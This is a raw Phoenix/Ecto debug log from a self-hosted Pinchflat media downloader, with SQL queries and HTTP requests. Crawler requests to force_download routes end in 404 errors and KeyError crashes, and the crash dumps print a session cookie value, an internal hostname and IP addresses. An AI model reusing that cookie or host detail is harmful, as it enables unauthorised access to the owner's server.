[debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "53e0929f-c3da-41fc-86ae-1214e69354cd"} Pipelines: [:maybe_basic_auth] 23:27:21.820 [debug] QUERY OK source="sources" db=0.1ms idle=1308.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["53e0929f-c3da-41fc-86ae-1214e69354cd"] 23:27:21.820 [debug] QUERY OK source="media_items" db=0.1ms idle=1308.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [3, 2000] 23:27:21.822 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1310.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [3] 23:27:21.823 [info] Sent 200 in 2ms 23:27:29.084 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:59.085 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.042 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:28:24.355 [info] GET /sources/3 23:28:24.355 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "3"} Pipelines: [:browser] 23:28:24.356 [debug] QUERY OK source="sources" db=0.1ms idle=1300.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:28:24.356 [debug] QUERY OK source="media_profiles" db=0.1ms idle=844.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:28:24.356 [debug] QUERY OK source="tasks" db=0.1ms idle=844.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 23:28:24.357 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=844.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [122] 23:28:24.357 [debug] QUERY OK source="settings" db=0.0ms idle=300.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:28:24.357 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:28:24.357 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:28:24.358 [debug] QUERY OK source="sources" db=0.0ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:28:24.358 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 23:28:24.359 [debug] QUERY OK source="media_items" db=0.2ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 23:28:24.359 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:28:24.359 [debug] QUERY OK source="media_items" db=0.0ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 23:28:24.359 [debug] QUERY OK source="media_items" db=0.0ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 23:28:24.359 [debug] QUERY OK source="sources" db=0.0ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:28:24.360 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 23:28:24.360 [debug] QUERY OK source="media_items" db=0.2ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 23:28:24.361 [info] Sent 200 in 5ms 23:28:29.086 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:59.087 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.043 [info] {"source":"oban","duration":122,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:29:22.980 [info] GET /sources/3/media/215/force_download 23:29:22.980 [debug] QUERY OK source="settings" db=0.1ms idle=1468.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:29:22.980 [debug] QUERY OK source="settings" db=0.0ms idle=1468.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:29:22.980 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:29:22.981 [error] #PID<0.3197.0> running PinchflatWeb.Endpoint (connection #PID<0.3196.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/3/media/215/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/215/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3196.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/215/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 58714}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVVE4bmJiS1c3ZFI0NVlrbzFpTUZsZ183.tCnv4Lq1Nt3V0BxEbsSlX6fqjaElOxAAzybnnRxuYxY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3/media/215", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVVE4bmJiS1c3ZFI0NVlrbzFpTUZsZ183.tCnv4Lq1Nt3V0BxEbsSlX6fqjaElOxAAzybnnRxuYxY" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3197.0>, params: %{}, path_info: ["sources", "3", "media", "215", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVVE4bmJiS1c3ZFI0NVlrbzFpTUZsZ183.tCnv4Lq1Nt3V0BxEbsSlX6fqjaElOxAAzybnnRxuYxY" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVVE4bmJiS1c3ZFI0NVlrbzFpTUZsZ183.tCnv4Lq1Nt3V0BxEbsSlX6fqjaElOxAAzybnnRxuYxY"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/3/media/215"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/3/media/215/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDjp8p9dC-CvoAAAF8D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3196.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/215/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 58714}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVVE4bmJiS1c3ZFI0NVlrbzFpTUZsZ183.tCnv4Lq1Nt3V0BxEbsSlX6fqjaElOxAAzybnnRxuYxY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3/media/215", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/215/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3196.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/215/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 58714}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVVE4bmJiS1c3ZFI0NVlrbzFpTUZsZ183.tCnv4Lq1Nt3V0BxEbsSlX6fqjaElOxAAzybnnRxuYxY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3/media/215", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", bo (truncated) 23:29:29.088 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:59.089 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.044 [info] {"source":"oban","duration":113,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:30:16.363 [info] GET /sources/3/media/215 23:30:16.363 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "215", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 23:30:16.363 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1851.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [215] 23:30:16.364 [debug] QUERY OK source="tasks" db=0.1ms idle=1852.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [215] 23:30:16.364 [debug] QUERY OK source="sources" db=0.2ms idle=1186.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:30:16.364 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=852.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [121] 23:30:16.364 [debug] QUERY OK source="settings" db=0.2ms idle=185.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:30:16.365 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:30:16.365 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:30:16.365 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:30:16.368 [info] Sent 200 in 5ms 23:30:29.090 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:59.091 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.045 [info] {"source":"oban","duration":136,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:31:18.930 [info] GET /sources/3/media/213/force_download 23:31:18.930 [debug] QUERY OK source="settings" db=0.1ms idle=1418.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:31:18.931 [debug] QUERY OK source="settings" db=0.0ms idle=1419.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:31:18.931 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:31:18.931 [error] #PID<0.3213.0> running PinchflatWeb.Endpoint (connection #PID<0.3212.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/3/media/213/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/213/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3212.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/213/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 59946}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVVE4bmJiS1c3ZFI0NVlrbzFpTUZsZ183.tCnv4Lq1Nt3V0BxEbsSlX6fqjaElOxAAzybnnRxuYxY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => 